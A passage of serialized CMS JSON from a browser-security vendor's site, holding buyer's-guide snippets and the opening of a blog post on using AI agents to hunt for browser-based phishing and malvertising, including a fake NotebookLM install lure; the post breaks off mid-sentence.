972},{},[],{"data":33002,"content":33003,"nodeType":1317},{},[33004],{"data":33005,"marks":33006,"value":24765,"nodeType":865},{},[33007],{"type":926},{"data":33009,"content":33010,"nodeType":866},{},[33011],{"data":33012,"marks":33013,"value":24772,"nodeType":865},{},[],{"data":33015,"content":33016,"nodeType":1616},{},[33017,33030,33043,33056],{"data":33018,"content":33019,"nodeType":1570},{},[33020],{"data":33021,"content":33022,"nodeType":866},{},[33023,33026],{"data":33024,"marks":33025,"value":24785,"nodeType":865},{},[],{"data":33027,"marks":33028,"value":24790,"nodeType":865},{},[33029],{"type":926},{"data":33031,"content":33032,"nodeType":1570},{},[33033],{"data":33034,"content":33035,"nodeType":866},{},[33036,33039],{"data":33037,"marks":33038,"value":24800,"nodeType":865},{},[],{"data":33040,"marks":33041,"value":24805,"nodeType":865},{},[33042],{"type":926},{"data":33044,"content":33045,"nodeType":1570},{},[33046],{"data":33047,"content":33048,"nodeType":866},{},[33049,33052],{"data":33050,"marks":33051,"value":24815,"nodeType":865},{},[],{"data":33053,"marks":33054,"value":24820,"nodeType":865},{},[33055],{"type":926},{"data":33057,"content":33058,"nodeType":1570},{},[33059],{"data":33060,"content":33061,"nodeType":866},{},[33062,33065],{"data":33063,"marks":33064,"value":24830,"nodeType":865},{},[],{"data":33066,"marks":33067,"value":24835,"nodeType":865},{},[33068],{"type":926},{"data":33070,"content":33071,"nodeType":866},{},[33072,33075,33079],{"data":33073,"marks":33074,"value":24842,"nodeType":865},{},[],{"data":33076,"marks":33077,"value":24847,"nodeType":865},{},[33078],{"type":926},{"data":33080,"marks":33081,"value":24851,"nodeType":865},{},[],{"data":33083,"content":33086,"nodeType":912},{"target":33084},{"sys":33085},{"id":24856,"type":909,"linkType":910},[],{"data":33088,"content":33089,"nodeType":866},{},[33090],{"data":33091,"marks":33092,"value":24864,"nodeType":865},{},[],{"data":33094,"content":33095,"nodeType":972},{},[],{"data":33097,"content":33098,"nodeType":981},{},[33099],{"data":33100,"marks":33101,"value":24875,"nodeType":865},{},[33102],{"type":926},{"data":33104,"content":33105,"nodeType":866},{},[33106],{"data":33107,"marks":33108,"value":24882,"nodeType":865},{},[],{"data":33110,"content":33111,"nodeType":1317},{},[33112],{"data":33113,"marks":33114,"value":24890,"nodeType":865},{},[33115],{"type":926},{"data":33117,"content":33118,"nodeType":866},{},[33119],{"data":33120,"marks":33121,"value":24897,"nodeType":865},{},[],{"data":33123,"content":33124,"nodeType":866},{},[33125],{"data":33126,"marks":33127,"value":24904,"nodeType":865},{},[],{"data":33129,"content":33130,"nodeType":866},{},[33131,33134,33140,33143,33150],{"data":33132,"marks":33133,"value":24911,"nodeType":865},{},[],{"data":33135,"content":33136,"nodeType":889},{"uri":3963},[33137],{"data":33138,"marks":33139,"value":24918,"nodeType":865},{},[],{"data":33141,"marks":33142,"value":24922,"nodeType":865},{},[],{"data":33144,"content":33145,"nodeType":889},{"uri":24925},[33146],{"data":33147,"marks":33148,"value":24931,"nodeType":865},{},[33149],{"type":943},{"data":33151,"marks":33152,"value":24935,"nodeType":865},{},[],{"data":33154,"content":33155,"nodeType":866},{},[33156],{"data":33157,"marks":33158,"value":24942,"nodeType":865},{},[],{"data":33160,"content":33161,"nodeType":1317},{},[33162],{"data":33163,"marks":33164,"value":24950,"nodeType":865},{},[33165],{"type":926},{"data":33167,"content":33168,"nodeType":866},{},[33169],{"data":33170,"marks":33171,"value":24957,"nodeType":865},{},[],{"data":33173,"content":33174,"nodeType":866},{},[33175],{"data":33176,"marks":33177,"value":24964,"nodeType":865},{},[],{"data":33179,"content":33180,"nodeType":866},{},[33181],{"data":33182,"marks":33183,"value":24971,"nodeType":865},{},[],{"data":33185,"content":33186,"nodeType":1317},{},[33187],{"data":33188,"marks":33189,"value":24979,"nodeType":865},{},[33190],{"type":926},{"data":33192,"content":33193,"nodeType":866},{},[33194],{"data":33195,"marks":33196,"value":24986,"nodeType":865},{},[],{"data":33198,"content":33199,"nodeType":866},{},[33200],{"data":33201,"marks":33202,"value":24993,"nodeType":865},{},[],{"data":33204,"content":33205,"nodeType":866},{},[33206],{"data":33207,"marks":33208,"value":25000,"nodeType":865},{},[],{"data":33210,"content":33211,"nodeType":972},{},[],{"data":33213,"content":33214,"nodeType":981},{},[33215],{"data":33216,"marks":33217,"value":25011,"nodeType":865},{},[33218],{"type":926},{"data":33220,"content":33221,"nodeType":866},{},[33222,33226],{"data":33223,"marks":33224,"value":25019,"nodeType":865},{},[33225],{"type":926},{"data":33227,"marks":33228,"value":25023,"nodeType":865},{},[],{"data":33230,"content":33231,"nodeType":866},{},[33232],{"data":33233,"marks":33234,"value":25030,"nodeType":865},{},[],{"data":33236,"content":33237,"nodeType":866},{},[33238],{"data":33239,"marks":33240,"value":25037,"nodeType":865},{},[],{"data":33242,"content":33243,"nodeType":1317},{},[33244],{"data":33245,"marks":33246,"value":25045,"nodeType":865},{},[33247],{"type":926},{"data":33249,"content":33250,"nodeType":866},{},[33251],{"data":33252,"marks":33253,"value":25052,"nodeType":865},{},[],{"data":33255,"content":33256,"nodeType":866},{},[33257],{"data":33258,"marks":33259,"value":25059,"nodeType":865},{},[],{"data":33261,"content":33262,"nodeType":1317},{},[33263],{"data":33264,"marks":33265,"value":25067,"nodeType":865},{},[33266],{"type":926},{"data":33268,"content":33269,"nodeType":866},{},[33270],{"data":33271,"marks":33272,"value":25074,"nodeType":865},{},[],{"data":33274,"content":33275,"nodeType":1616},{},[33276,33289,33302,33315],{"data":33277,"content":33278,"nodeType":1570},{},[33279],{"data":33280,"content":33281,"nodeType":866},{},[33282,33286],{"data":33283,"marks":33284,"value":25088,"nodeType":865},{},[33285],{"type":926},{"data":33287,"marks":33288,"value":25092,"nodeType":865},{},[],{"data":33290,"content":33291,"nodeType":1570},{},[33292],{"data":33293,"content":33294,"nodeType":866},{},[33295,33299],{"data":33296,"marks":33297,"value":25103,"nodeType":865},{},[33298],{"type":926},{"data":33300,"marks":33301,"value":25107,"nodeType":865},{},[],{"data":33303,"content":33304,"nodeType":1570},{},[33305],{"data":33306,"content":33307,"nodeType":866},{},[33308,33312],{"data":33309,"marks":33310,"value":25118,"nodeType":865},{},[33311],{"type":926},{"data":33313,"marks":33314,"value":25122,"nodeType":865},{},[],{"data":33316,"content":33317,"nodeType":1570},{},[33318],{"data":33319,"content":33320,"nodeType":866},{},[33321,33325],{"data":33322,"marks":33323,"value":25133,"nodeType":865},{},[33324],{"type":926},{"data":33326,"marks":33327,"value":25137,"nodeType":865},{},[],{"data":33329,"content":33330,"nodeType":866},{},[33331,33334,33338],{"data":33332,"marks":33333,"value":25144,"nodeType":865},{},[],{"data":33335,"marks":33336,"value":25149,"nodeType":865},{},[33337],{"type":926},{"data":33339,"marks":33340,"value":25153,"nodeType":865},{},[],{"data":33342,"content":33343,"nodeType":866},{},[33344,33347,33353],{"data":33345,"marks":33346,"value":25160,"nodeType":865},{},[],{"data":33348,"content":33349,"nodeType":889},{"uri":1902},[33350],{"data":33351,"marks":33352,"value":25167,"nodeType":865},{},[],{"data":33354,"marks":33355,"value":25171,"nodeType":865},{},[],{"data":33357,"content":33358,"nodeType":1317},{},[33359],{"data":33360,"marks":33361,"value":25179,"nodeType":865},{},[33362],{"type":926},{"data":33364,"content":33365,"nodeType":866},{},[33366],{"data":33367,"marks":33368,"value":25186,"nodeType":865},{},[],{"data":33370,"content":33371,"nodeType":866},{},[33372],{"data":33373,"marks":33374,"value":25194,"nodeType":865},{},[33375],{"type":926},{"data":33377,"content":33378,"nodeType":866},{},[33379],{"data":33380,"marks":33381,"value":25201,"nodeType":865},{},[],{"data":33383,"content":33384,"nodeType":866},{},[33385],{"data":33386,"marks":33387,"value":25208,"nodeType":865},{},[],{"data":33389,"content":33390,"nodeType":866},{},[33391],{"data":33392,"marks":33393,"value":25215,"nodeType":865},{},[],{"data":33395,"content":33398,"nodeType":912},{"target":33396},{"sys":33397},{"id":25220,"type":909,"linkType":910},[],{"data":33400,"content":33401,"nodeType":1317},{},[33402],{"data":33403,"marks":33404,"value":25229,"nodeType":865},{},[33405],{"type":926},{"data":33407,"content":33408,"nodeType":866},{},[33409],{"data":33410,"marks":33411,"value":25236,"nodeType":865},{},[],{"data":33413,"content":33414,"nodeType":866},{},[33415],{"data":33416,"marks":33417,"value":25243,"nodeType":865},{},[],{"data":33419,"content":33422,"nodeType":912},{"target":33420},{"sys":33421},{"id":25248,"type":909,"linkType":910},[],{"data":33424,"content":33425,"nodeType":866},{},[33426],{"data":33427,"marks":33428,"value":25256,"nodeType":865},{},[],{"data":33430,"content":33431,"nodeType":866},{},[33432],{"data":33433,"marks":33434,"value":25263,"nodeType":865},{},[],{"data":33436,"content":33437,"nodeType":866},{},[33438],{"data":33439,"marks":33440,"value":25270,"nodeType":865},{},[],{"data":33442,"content":33445,"nodeType":912},{"target":33443},{"sys":33444},{"id":25275,"type":909,"linkType":910},[],{"data":33447,"content":33448,"nodeType":866},{},[33449],{"data":33450,"marks":33451,"value":21,"nodeType":865},{},[],{"entries":33453},{"hyperlink":33454,"inline":33455,"block":33456},[],[],[33457,33483,33485,33521,33544,33558,33566],{"sys":33458,"__typename":5503,"content":33459,"name":33482,"title":59},{"id":24526},{"json":33460},{"nodeType":1382,"data":33461,"content":33462},{},[33463,33475],{"nodeType":866,"data":33464,"content":33465},{},[33466,33471],{"nodeType":865,"value":33467,"marks":33468,"data":33470},"TL;DR:",[33469],{"type":926},{},{"nodeType":865,"value":33472,"marks":33473,"data":33474}," Not all browser security investments address the same threat. Seraphic (Crowdstrike) focuses on browser exploitation, SquareX (ZScaler) on malware sandboxing, LayerX on internal governance. None of these address the attacks that are actually causing the most damaging breaches today: identity theft, credential abuse, and session hijacking that play out entirely inside the browser using legitimate authentication flows. Push Security is built specifically for that threat model — delivering the greatest coverage against the most damaging attacks, without the user friction, operational management burden, or stability risks associated with other solutions.",[],{},{"nodeType":866,"data":33476,"content":33477},{},[33478],{"nodeType":865,"value":33479,"marks":33480,"data":33481},"\n",[],{},"Browser security buyer's trap IB1",{"sys":33484,"__typename":1414,"type":1415,"ctaText":30702,"buttonLabel":30703,"buttonColour":1418,"buttonUrl":1419},{"id":12658},{"sys":33486,"__typename":5503,"content":33487,"name":33520,"title":59},{"id":24625},{"json":33488},{"data":33489,"content":33490,"nodeType":1382},{},[33491],{"data":33492,"content":33493,"nodeType":866},{},[33494,33498,33505,33508,33516],{"data":33495,"marks":33496,"value":33497,"nodeType":865},{},[],"You can read about ",{"data":33499,"content":33500,"nodeType":889},{"uri":4991},[33501],{"data":33502,"marks":33503,"value":8673,"nodeType":865},{},[33504],{"type":943},{"data":33506,"marks":33507,"value":4988,"nodeType":865},{},[],{"data":33509,"content":33510,"nodeType":889},{"uri":3820},[33511],{"data":33512,"marks":33513,"value":33515,"nodeType":865},{},[33514],{"type":943},"ShinyHunters’ 2026 campaigns and TTPs",{"data":33517,"marks":33518,"value":33519,"nodeType":865},{},[]," in our dedicated blog posts. ","Browser security buyer's trap IB2",{"sys":33522,"__typename":5503,"content":33523,"name":33543,"title":59},{"id":24856},{"json":33524},{"data":33525,"content":33526,"nodeType":1382},{},[33527],{"data":33528,"content":33529,"nodeType":866},{},[33530,33534,33539],{"data":33531,"marks":33532,"value":33533,"nodeType":865},{},[],"It's worth heading off the obvious counterargument: ",{"data":33535,"marks":33536,"value":33538,"nodeType":865},{},[33537],{"type":926},"won't AI-assisted vulnerability discovery eventually make browser exploits cheaper? ",{"data":33540,"marks":33541,"value":33542,"nodeType":865},{},[],"Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development. ","Browser security buyer's trap IB3",{"sys":33545,"__typename":5503,"content":33546,"name":33557,"title":59},{"id":25220},{"json":33547},{"nodeType":1382,"data":33548,"content":33549},{},[33550],{"nodeType":866,"data":33551,"content":33552},{},[33553],{"nodeType":865,"value":33554,"marks":33555,"data":33556},"Solutions optimized for browser exploitation are defending against a shrinking attack category. Browser vendors are very good at closing those vulnerabilities, quickly. The ROI trajectory points the wrong way.",[],{},"Browser security buyer's trap IB4",{"sys":33559,"__typename":1390,"title":33560,"caption":33561,"layoutMode":59,"file":33562},{"id":25248},"Comparing ease of deployment x security value for browser security solutions","Comparing ease of deployment x security value for browser security solutions.",{"url":33563,"width":33564,"height":33565},"https://images.ctfassets.net/y1cdw1ablpvd/4z1RAFROesqaBF4H3qR8yu/1e21a68602402773bfa843fd0208d4ca/Screenshot_2026-07-27_at_10.36.43.png",1408,952,{"sys":33567,"__typename":1414,"type":1415,"ctaText":33568,"buttonLabel":33569,"buttonColour":1418,"buttonUrl":16069},{"id":25275},"Ready to learn more about Push? Book a demo with one of our team. ","Book a Demo",{"items":33571},[],{},"Solving for attacks that happen in, not on the browser",{"items":33575},[33576,34526,35359],{"__typename":1429,"sys":33577,"content":33579,"title":34512,"synopsis":34513,"hashTags":59,"publishedDate":34514,"slug":34515,"tagsCollection":34516,"authorsCollection":34522},{"id":33578},"1jfqiWQlL6qkn3i9yjNbFB",{"json":33580},{"data":33581,"content":33582,"nodeType":1382},{},[33583,33590,33611,33623,33630,33638,33645,33667,33674,33681,33688,33700,33706,33709,33717,33733,33752,33862,33867,33874,33880,33888,33895,33907,33914,33920,33927,33950,33957,33964,33970,33973,33981,33988,33996,34003,34018,34025,34032,34040,34047,34054,34062,34069,34076,34079,34087,34094,34102,34109,34116,34123,34130,34138,34145,34177,34184,34191,34197,34204,34212,34219,34297,34303,34311,34327,34334,34340,34347,34363,34366,34374,34381,34388,34394,34401,34446,34453,34460,34467,34473,34476,34484,34490,34496],{"data":33584,"content":33585,"nodeType":866},{},[33586],{"data":33587,"marks":33588,"value":33589,"nodeType":865},{},[],"In March, our threat hunting engine flagged something it hadn’t seen before.",{"data":33591,"content":33592,"nodeType":866},{},[33593,33597,33607],{"data":33594,"marks":33595,"value":33596,"nodeType":865},{},[],"Our research team had already been tracking the growing use of ",{"data":33598,"content":33602,"nodeType":33606},{"target":33599},{"sys":33600},{"id":33601,"type":909,"linkType":910},"2U6QpQ9rkY8x5ES48okHZB",[33603],{"data":33604,"marks":33605,"value":441,"nodeType":865},{},[],"entry-hyperlink",{"data":33608,"marks":33609,"value":33610,"nodeType":865},{},[]," tied to phishing campaigns. Malvertising frequently targets users via Google Search results, inserting malicious ads or redirects in place of legitimate ads, and using the familiar context of the search results page to trick users into clicking.",{"data":33612,"content":33613,"nodeType":866},{},[33614,33618],{"data":33615,"marks":33616,"value":33617,"nodeType":865},{},[],"To defend Push customers against this threat, we needed a way to spot malicious activity arising from clicking on Google ads. ",{"data":33619,"marks":33620,"value":33622,"nodeType":865},{},[33621],{"type":898},"But how to separate signal from noise?",{"data":33624,"content":33625,"nodeType":866},{},[33626],{"data":33627,"marks":33628,"value":33629,"nodeType":865},{},[],"Our hunt combined the skills of human researchers and AI agents to find 12 meaningful results from trillions of browser events visible to the Push extension across our install base.",{"data":33631,"content":33632,"nodeType":866},{},[33633],{"data":33634,"marks":33635,"value":33637,"nodeType":865},{},[33636],{"type":926},"Of those, one was novel. ",{"data":33639,"content":33640,"nodeType":866},{},[33641],{"data":33642,"marks":33643,"value":33644,"nodeType":865},{},[],"A user had searched for NotebookLM, clicked a paid Google ad, and gotten redirected to a page impersonating NotebookLM. The page itself was just a facade fronting a Cloudflare Pages-hosted phishing kit with a WebAssembly C2 connector. To the user, it looked like a completely on-brand NotebookLM page, and if they had run the fake install prompt, they would have installed malware. (Note: NotebookLM doesn’t even require a local install, but the page was convincing enough — and AI platforms are changing so quickly — that the lure was extremely believable.)",{"data":33646,"content":33647,"nodeType":866},{},[33648,33653,33663],{"data":33649,"marks":33650,"value":33652,"nodeType":865},{},[33651],{"type":926},"We had found our first in-the-wild ",{"data":33654,"content":33658,"nodeType":33606},{"target":33655},{"sys":33656},{"id":33657,"type":909,"linkType":910},"7bG71Eo43crbIHKzczooVS",[33659],{"data":33660,"marks":33661,"value":7717,"nodeType":865},{},[33662],{"type":926},{"data":33664,"marks":33665,"value":1615,"nodeType":865},{},[33666],{"type":926},{"data":33668,"content":33669,"nodeType":866},{},[33670],{"data":33671,"marks":33672,"value":33673,"nodeType":865},{},[],"Within minutes, our analysis agents created detections, and researchers shipped a new detection to every Push customer. ",{"data":33675,"content":33676,"nodeType":866},{},[33677],{"data":33678,"marks":33679,"value":33680,"nodeType":865},{},[],"Eighteen months ago, it would have taken a human analyst days or even weeks to unpack the attack, comb through web requests, de-obfuscate web code, trace JavaScript execution, and extract signals of tactics, techniques, and procedures (TTPs) beyond short-lived single-use IOCs like domain name, then get their work coded up as a detection and deployed to customers. ",{"data":33682,"content":33683,"nodeType":866},{},[33684],{"data":33685,"marks":33686,"value":33687,"nodeType":865},{},[],"That was viable when new tools or techniques showed up once or twice a quarter. It doesn’t stand a chance when attack evolutions occur weekly or even daily. That’s the reality now with AI-generated adversary tools.",{"data":33689,"content":33690,"nodeType":866},{},[33691,33696],{"data":33692,"marks":33693,"value":33695,"nodeType":865},{},[33694],{"type":926},"So, can AI agents replace human threat researchers?",{"data":33697,"marks":33698,"value":33699,"nodeType":865},{},[]," That’s the wrong question. Can AI agents massively scale the expertise of a seasoned human threat hunter without getting bored of repetitive tasks, missing pertinent but easily overlooked details, or creating operational siloes dependent on one person’s knowledge — and do its work continuously across trillions of data points? Yes, absolutely.",{"data":33701,"content":33705,"nodeType":912},{"target":33702},{"sys":33703},{"id":33704,"type":909,"linkType":910},"3OiZ7BrViCTTMmHUAbloEt",[],{"data":33707,"content":33708,"nodeType":972},{},[],{"data":33710,"content":33711,"nodeType":981},{},[33712],{"data":33713,"marks":33714,"value":33716,"nodeType":865},{},[33715],{"type":926},"Why scaling browser threat detection requires more than more analysts",{"data":33718,"content":33719,"nodeType":866},{},[33720,33724,33729],{"data":33721,"marks":33722,"value":33723,"nodeType":865},{},[],"Already this year, we’ve ",{"data":33725,"marks":33726,"value":33728,"nodeType":865},{},[33727],{"type":926},"tripled",{"data":33730,"marks":33731,"value":33732,"nodeType":865},{},[]," the cumulative number of detections shipped to Push customers using this pipeline. That output points to the first problem we set out to solve by employing AI agents: Scaling our research team’s considerable expertise.",{"data":33734,"content":33735,"nodeType":866},{},[33736,33740,33748],{"data":33737,"marks":33738,"value":33739,"nodeType":865},{},[],"Push’s R&D team are experts at understanding and unpacking modern browser-based attacks. This is essential when you consider how quickly attacks themselves are evolving. When we created the ",{"data":33741,"content":33744,"nodeType":33606},{"target":33742},{"sys":33743},{"id":12509,"type":909,"linkType":910},[33745],{"data":33746,"marks":33747,"value":8396,"nodeType":865},{},[],{"data":33749,"marks":33750,"value":33751,"nodeType":865},{},[]," in 2023 (then called the SaaS Attacks Matrix), many of the ideas in it were theoretical. Not anymore. ",{"data":33753,"content":33754,"nodeType":1616},{},[33755,33765,33788],{"data":33756,"content":33757,"nodeType":1570},{},[33758],{"data":33759,"content":33760,"nodeType":866},{},[33761],{"data":33762,"marks":33763,"value":33764,"nodeType":865},{},[],"We’ve tracked the rise of AiTM phish kits from their status as MFA-bypassing novelties to the emergence of an entire criminal ecosystem built around increasingly sophisticated Phishing-as-a-Service tools. ",{"data":33766,"content":33767,"nodeType":1570},{},[33768],{"data":33769,"content":33770,"nodeType":866},{},[33771,33775,33784],{"data":33772,"marks":33773,"value":33774,"nodeType":865},{},[],"We imagined the simple but effective power of using device code authorization for phishing three years ago; in the last few months, we’ve detected a 37x increase in ",{"data":33776,"content":33779,"nodeType":33606},{"target":33777},{"sys":33778},{"id":8411,"type":909,"linkType":910},[33780],{"data":33781,"marks":33782,"value":33783,"nodeType":865},{},[],"device code phishing attacks",{"data":33785,"marks":33786,"value":33787,"nodeType":865},{},[]," across our install base. ",{"data":33789,"content":33790,"nodeType":1570},{},[33791],{"data":33792,"content":33793,"nodeType":866},{},[33794,33798,33807,33811,33820,33824,33834,33837,33845,33848,33858],{"data":33795,"marks":33796,"value":33797,"nodeType":865},{},[],"We were also the first to detect a novel post-authorization attack we dubbed ",{"data":33799,"content":33803,"nodeType":33606},{"target":33800},{"sys":33801},{"id":33802,"type":909,"linkType":910},"71EaaK7lfl6bQBbkAU0qjv",[33804],{"data":33805,"marks":33806,"value":7465,"nodeType":865},{},[],{"data":33808,"marks":33809,"value":33810,"nodeType":865},{},[]," that combines OAuth consent phishing and ClickFix-style user prompts; reported on the rise of the ridiculously simple yet effective ",{"data":33812,"content":33815,"nodeType":33606},{"target":33813},{"sys":33814},{"id":33657,"type":909,"linkType":910},[33816],{"data":33817,"marks":33818,"value":33819,"nodeType":865},{},[],"InstallFix technique",{"data":33821,"marks":33822,"value":33823,"nodeType":865},{},[]," described earlier; and detected an array of other ",{"data":33825,"content":33829,"nodeType":33606},{"target":33826},{"sys":33827},{"id":33828,"type":909,"linkType":910},"2YmiesBvJHGw4wiKEKzLUq",[33830],{"data":33831,"marks":33832,"value":33833,"nodeType":865},{},[],"creative",{"data":33835,"marks":33836,"value":2688,"nodeType":865},{},[],{"data":33838,"content":33841,"nodeType":33606},{"target":33839},{"sys":33840},{"id":33601,"type":909,"linkType":910},[33842],{"data":33843,"marks":33844,"value":520,"nodeType":865},{},[],{"data":33846,"marks":33847,"value":2688,"nodeType":865},{},[],{"data":33849,"content":33853,"nodeType":33606},{"target":33850},{"sys":33851},{"id":33852,"type":909,"linkType":910},"6Zosy4SU0LpjlaSWX75peb",[33854],{"data":33855,"marks":33856,"value":33857,"nodeType":865},{},[],"campaigns",{"data":33859,"marks":33860,"value":33861,"nodeType":865},{},[]," tied to malvertising scams.",{"data":33863,"content":33866,"nodeType":912},{"target":33864},{"sys":33865},{"id":8079,"type":909,"linkType":910},[],{"data":33868,"content":33869,"nodeType":866},{},[33870],{"data":33871,"marks":33872,"value":33873,"nodeType":865},{},[],"With an agentic approach, we could scale this expertise and reduce the time it takes to go from technique discovery to production-ready detection. This speed is critical now because adversaries are also using AI tools to do their work, exploding the number of trivial-to-rotate indicators of compromise and overwhelming existing detection workflows that lack an equivalent machine speed.",{"data":33875,"content":33879,"nodeType":912},{"target":33876},{"sys":33877},{"id":33878,"type":909,"linkType":910},"1u00uFbC4xsvP9lqahXbgD",[],{"data":33881,"content":33882,"nodeType":1317},{},[33883],{"data":33884,"marks":33885,"value":33887,"nodeType":865},{},[33886],{"type":926},"Scaling behavioral detections, not just making bigger blocklists",{"data":33889,"content":33890,"nodeType":866},{},[33891],{"data":33892,"marks":33893,"value":33894,"nodeType":865},{},[],"But output numbers alone don’t tell the story of successful detections. That’s the other problem we set out to solve at scale: Most secure browser solutions rely on detection logic based on blocking known-bad indicators like domains, IPs, and URLs.",{"data":33896,"content":33897,"nodeType":866},{},[33898,33903],{"data":33899,"marks":33900,"value":33902,"nodeType":865},{},[33901],{"type":926},"If your solution offers 1,000 detections, and they’re all based on known-bad indicators that are easily rotated, then you’ve got 1,000 detections that worked once and will likely never fire again. ",{"data":33904,"marks":33905,"value":33906,"nodeType":865},{},[],"They certainly won’t catch subtle adaptations in adversary techniques that don’t rely on infrastructure changes, which are easy for attackers to swap anyway. ",{"data":33908,"content":33909,"nodeType":866},{},[33910],{"data":33911,"marks":33912,"value":33913,"nodeType":865},{},[],"Push does it differently. Our detection engine is focused on hunting for tactics, techniques, and procedures: the behavioral fingerprints of an attack, not just the infrastructure it runs on. ",{"data":33915,"content":33919,"nodeType":912},{"target":33916},{"sys":33917},{"id":33918,"type":909,"linkType":910},"5jR3YVUiusHGnXDOyrgYpr",[],{"data":33921,"content":33922,"nodeType":866},{},[33923],{"data":33924,"marks":33925,"value":33926,"nodeType":865},{},[],"Instead of blocking based on known-bad domains, URLs, and IPs, our detections are built around user-level and page-level behaviors like what scripts load, how redirects behave, what events fire, what actions a user takes and what happens next, etc. (In fact, Push detections don’t even use any infrastructure-based IOCs, though customers can write their own custom detections if they have a specific IOC they’re keeping an eye on.)",{"data":33928,"content":33929,"nodeType":866},{},[33930,33935,33945],{"data":33931,"marks":33932,"value":33934,"nodeType":865},{},[33933],{"type":926},"All the detections we write would survive infrastructure rotation by adversaries, and many of our existing detections have caught never-before-seen evolutions in TTPs. That’s because we focus on the top of the ",{"data":33936,"content":33940,"nodeType":33606},{"target":33937},{"sys":33938},{"id":33939,"type":909,"linkType":910},"1qegIy4rMdm5XZXnIEoKpE",[33941],{"data":33942,"marks":33943,"value":4793,"nodeType":865},{},[33944],{"type":926},{"data":33946,"marks":33947,"value":33949,"nodeType":865},{},[33948],{"type":926},", the indicators that are hardest for attackers to change.",{"data":33951,"content":33952,"nodeType":866},{},[33953],{"data":33954,"marks":33955,"value":33956,"nodeType":865},{},[],"This focus on detecting TTPs has always been our approach. But with the acceleration in both attack types and the ease with which adversaries rotate infrastructure, we needed to build capabilities that scaled our knowledge. ",{"data":33958,"content":33959,"nodeType":866},{},[33960],{"data":33961,"marks":33962,"value":33963,"nodeType":865},{},[],"We did this not by replacing researchers, but by continuously activating their expertise. You can hear what our CEO and Co-founder Adam had to say about this below. ",{"data":33965,"content":33969,"nodeType":912},{"target":33966},{"sys":33967},{"id":33968,"type":909,"linkType":910},"C9gr4nF3f6CW45Aol9xij",[],{"data":33971,"content":33972,"nodeType":972},{},[],{"data":33974,"content":33975,"nodeType":981},{},[33976],{"data":33977,"marks":33978,"value":33980,"nodeType":865},{},[33979],{"type":926},"Core principles for agentic threat hunting",{"data":33982,"content":33983,"nodeType":866},{},[33984],{"data":33985,"marks":33986,"value":33987,"nodeType":865},{},[],"Three principles make Push's agentic threat hunting and detection engineering pipeline work:",{"data":33989,"content":33990,"nodeType":1317},{},[33991],{"data":33992,"marks":33993,"value":33995,"nodeType":865},{},[33994],{"type":926},"Context matters more than custom models",{"data":33997,"content":33998,"nodeType":866},{},[33999],{"data":34000,"marks":34001,"value":34002,"nodeType":865},{},[],"We’re not AI researchers; we’re security researchers — we aren't trying to compete in building the most intelligent models. And in our view, AI models are quickly becoming commoditized like cloud infrastructure, anyway. Luckily, the commercial models today already excel at understanding web code. We just need to harness their power with our expertise.",{"data":34004,"content":34005,"nodeType":866},{},[34006,34010,34014],{"data":34007,"marks":34008,"value":34009,"nodeType":865},{},[],"So at Push, we use a variety of commercial AI models and tools in complementary ways. What matters most is the telemetry they analyze, and that’s where Push’s existing product infrastructure shines: We’re already deployed into over ",{"data":34011,"marks":34012,"value":5247,"nodeType":865},{},[34013],{"type":926},{"data":34015,"marks":34016,"value":34017,"nodeType":865},{},[],", and the Push browser extension includes a component that operates as a flight recorder to locally record everything that matters inside a browser session.",{"data":34019,"content":34020,"nodeType":866},{},[34021],{"data":34022,"marks":34023,"value":34024,"nodeType":865},{},[],"This universe of metadata — DOM elements, tab context, script execution, network traffic, user actions, credential entry, etc. — becomes the searchable corpus for hunts. Metadata is stored locally in users’ browsers and only queried during targeted threat hunts. ",{"data":34026,"content":34027,"nodeType":866},{},[34028],{"data":34029,"marks":34030,"value":34031,"nodeType":865},{},[],"This approach avoids dragnet collection of sensitive data. Instead, we focus on collecting metadata and distilling that into patterns and insights that provide context for agents to perform their analysis. This means that Push also does not train or fine-tune models on customer data.",{"data":34033,"content":34034,"nodeType":1317},{},[34035],{"data":34036,"marks":34037,"value":34039,"nodeType":865},{},[34038],{"type":926},"Agents are only as good as the context you give them. Good context is researcher-led",{"data":34041,"content":34042,"nodeType":866},{},[34043],{"data":34044,"marks":34045,"value":34046,"nodeType":865},{},[],"AI agents don’t know how to identify the TTPs of browser-based attacks until you give them the right context, and Push researchers have spent years unpacking these techniques and tools. Agents at Push consume our internal knowledge base of identified TTPs, and both humans and agents perform meta-analyses to check their work. The agents have access to large libraries of traces of human interactions with real phishing kits. This is a powerful dataset to build on.",{"data":34048,"content":34049,"nodeType":866},{},[34050],{"data":34051,"marks":34052,"value":34053,"nodeType":865},{},[],"When we don’t get the results we want from AI models, the question is “What context is it missing? What does our human team know that the agents don’t, and how can we give them that context — do they need data, tools, better workflows?” That closes the gap in performance and keeps quality high.",{"data":34055,"content":34056,"nodeType":1317},{},[34057],{"data":34058,"marks":34059,"value":34061,"nodeType":865},{},[34060],{"type":926},"Integrated architecture that makes agentic AI the throughput layer, not a bolt-on",{"data":34063,"content":34064,"nodeType":866},{},[34065],{"data":34066,"marks":34067,"value":34068,"nodeType":865},{},[],"The constraint we’re trying to break by using AI isn’t knowledge, it’s throughput. Our researchers deeply understand the techniques and tools. An agentic pipeline can apply that understanding continuously across millions of browsers and trillions of events, ingest new external signals, generate hunt hypotheses, triage results, and return only the findings that warrant escalation.",{"data":34070,"content":34071,"nodeType":866},{},[34072],{"data":34073,"marks":34074,"value":34075,"nodeType":865},{},[],"This approach relies on tight integration of our product and our agentic workflows. We’ll take a closer look at that in the next section.",{"data":34077,"content":34078,"nodeType":972},{},[],{"data":34080,"content":34081,"nodeType":981},{},[34082],{"data":34083,"marks":34084,"value":34086,"nodeType":865},{},[34085],{"type":926},"How the agentic detection pipeline runs",{"data":34088,"content":34089,"nodeType":866},{},[34090],{"data":34091,"marks":34092,"value":34093,"nodeType":865},{},[],"Now let’s look at how agentic threat detection actually works, and some of the emerging best practices we’ve identified. We'll cover two example hunts, one initiated autonomously by the agents themselves, and one by our research team. ",{"data":34095,"content":34096,"nodeType":1317},{},[34097],{"data":34098,"marks":34099,"value":34101,"nodeType":865},{},[34100],{"type":926},"Example 1: Autonomous threat hunt",{"data":34103,"content":34104,"nodeType":866},{},[34105],{"data":34106,"marks":34107,"value":34108,"nodeType":865},{},[],"Push’s threat hunting pipeline ingested context from research articles describing a new attack technique, and an agent developed hypotheses on what to hunt for across Push’s install base to identify instances of this attack. ",{"data":34110,"content":34111,"nodeType":866},{},[34112],{"data":34113,"marks":34114,"value":34115,"nodeType":865},{},[],"The agent 